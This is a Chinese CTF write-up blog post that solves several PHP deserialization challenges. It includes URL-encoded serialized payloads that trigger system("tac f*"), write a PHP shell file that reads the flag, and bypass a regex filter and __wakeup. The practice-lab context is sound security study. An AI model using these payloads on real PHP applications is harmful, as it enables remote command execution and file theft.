首页 > 其他分享 >反序列化刷题(一)

反序列化刷题(一)

时间:2024-08-19 15:50:09浏览次数:11  
标签:__ 3Bs% 22% serialize 3A% 序列化 刷题

反序列化刷题

web255

img

img

将isvip改为true然后序列化 echo urlencode($v=serialize($f=new ctfShowUser()));

Cookie:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

username=xxxxxx&password=xxxxxxx

web256

img

img

序列化:echo urlencode($v=serialize(new ctfShowUser()));

将isvip改为true、代码内的username改为与password不同的值进行序列化,然后通过cookie传值

传参时候username与代码内的username相同、password与代码内的password相同

web257

imgimg

通过初始化触发__construct()来修改code的值,通过修改为class='backDoor'进而通过__destruct()来触发backDoor方法,进行命令执行;

imgimg

序列化:echo urlencode($v=serialize(new ctfShowUser()));

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22tac+f%2A%22%29%3B%22%3B%7D%7D

web258 img

与上一题相比增加了正则过滤,过滤掉了O:或者C:后面的任何数字,例如O:8,则会被过滤

preg_match('/[oc]:\d+:/i', $_COOKIE['user'])

可以通过在数字前面加上加号: O:+8 即可绕过

所以在上一题的基础上加上$a=str_replace('O:', 'O:+',$a)添加上加号绕过;

img

web261

img

在php7.4之前是没__unserialize()和__serialize()方法;

在触发unserialize()函数时候会触发__unserialize()或者__wake(),在触发serialize()函数时候会触发__serialize()或者__sleep();

在php7.4或者更高版本中__unserialize和__wake()同时存在时会忽略__wake(),__serialize和__sleep()同时存在时会忽略__sleep();

__invoke可以构造rce,但是触发条件是:把啊对象当函数用;此时不满足

所以可以忽略掉__invoke、__sleep()、__wakeup()方法;

可以通过在创建ctfshowvip对象是传参到__construct($u,$p)对username和password进行赋值,在__unserialize中$code被赋值为877***可以绕过__destruct()中的弱等于,最后进行文件写入,最后访问877.php即可;

img

img

?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A37%3A%22%3C%3Fphp+system%28%22cat+%2Fflag_is_here%22%29%3B%3F%3E%0A%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

[极客大挑战 2019]PHP(__wakeup绕过)

扫描文件下载www.zip

image-20240818165228110

在index.php中可以调用class.php,并且可以反序列化select参数

image-20240818165851759

在class.php可以调用flag.php,此处要求$this->username === 'admin'、$this->password != 100,所以构造序列化传参是时候new Name('admin','100'),__wakeup会把username的值又变成guest,所以要绕过__wakeup;通过修改序列化后的此参数个数即可绕过;

image-20240818170907360

image-20240818171828558

image-20240818172205200

image-20240818172140645

然后传参给select即可获得flag

image-20240818172222398

标签:__,3Bs%,22%,serialize,3A%,序列化,刷题
From: https://www.cnblogs.com/sunrise123/p/18367479

相关文章

  • Leetcode每日刷题之18.四数之和
    1.题目解析这里的18.四数之和与之前的三数之和有着异曲同工之妙,所以建议看完三数之和再来看本题,详细题目见Leetcode每日刷题之15.三数之和 ,只不过这里需要寻找的是四元组,也是不能寻找重复的四元组并且四元组内的数字可以按照任意顺序返回2.算法原理关于四数之和的思路......
  • 对象流,序列化和反序列化 day18
    packagecom.shujia.day18.ketang;importjava.io.*;/*序列化流:序列化:将一个对象转换成网络中传输的流对象输出流:ObjectOutputStream将一个类的对象写进文本中反序列化:将网络中传输的流还原成一个对象对象输入流:Object......
  • JAVA中的序列化
    Java序列化是一种机制,它可以将对象状态转换为可存储或可传输的形式。序列化后的对象可以在网络上传输,或者保存到文件、数据库等存储介质中。在Java中,序列化通过实现 java.io.Serializable接口来实现。本文将详细介绍Java序列化的概念、实现方式、优缺点以及代码示例。一、序......
  • JAVA中的反序列化
    Java反序列化是将之前序列化存储的对象状态信息重新恢复为Java对象的过程。这个过程与序列化是相反的,它允许程序从字节流中重建对象,这对于网络传输、对象持久化以及分布式系统中的对象传递至关重要。下面将详细介绍Java反序列化的概念、实现方式、安全注意事项,并通过一个......
  • 力扣刷题——3096.得到更多分数的最少关卡数目
    根据题意,假如alice选择完成第i关到第j关,那么bob需要完成第j+1关到第n关,其中i<=j<n。如此可以想到对关卡数组进行预处理,构建一个前缀和数组,保存假如从第0关每关都通过的话,到第i关所得到的分数。通过遍历一次前缀和数组,能够得到每个时刻alice得到的分数和bob得到的分数,当alice获得......
  • 【CTF刷题4】ctfshow刷题web部分wp(3)
    题目来源:ctfshow菜狗杯算力超群考点:抓包,eval()函数利用,漏洞利用打开发现是个计算器。一般碰到计算器就很容易和命令执行扯到一块。随便计算下然后抓个包发现是get方法,改参数让它报错。发现eval()函数。python语言,用危险函数eval()进行运算。这里我们使用沙......
  • 算法刷题记录 八十五【图论的广度优先搜索理论基础】
    前言图论章节第2篇。第1篇:记录八十二【图论理论基础及深度优先搜索算法】;本文:记录八十五【图论的广度优先搜索理论基础】一、广度优先搜索理论基础广度优先搜索理论基础参考链接1.1知识点框架1.2模拟广度搜索的过程在有向图中,以下图为例,如何进行广度优先搜索......
  • 打卡信奥刷题(574)用Scratch图形化工具信奥B2090[普及组/提高] 年龄与疾病
    年龄与疾病题目描述某医院进行一项研究,想知道某项疾病是否与年龄有关。因此对以往的诊断记录进行整理,统计0-18、19-35、36-60、61及以上这四个年龄段的患者人数占总患者人数的比例。输入格式输入共2......
  • 杭电基础100题(2000~2099)C++ 本萌新的刷题日记
    开始之前本人是刚学完C++基础语法的萌新,从B站了解到了杭电的100道水题基础题,于是打算开始刷题并在这里写下解题思路和一些想法,以便日后回顾,顺便分享给大家。我的计划是一天15题。这是我第一次在CSDN上发文章,还不是很熟悉怎么编辑。基本上每一题都会把代码和感想放这里。200......
  • Leetcode刷题笔记8.12-8.16
    Leetcode刷题笔记8.12-8.1619.删除倒数第n个链表结点(8.12)一个巧妙删除倒数第n个结点的trick该方法避免了对链表的一次全面扫描来获得总长度//返回链表的倒数第k个节点ListNodefindFromEnd(ListNodehead,intk){ListNodep1=head;//p1先走k步......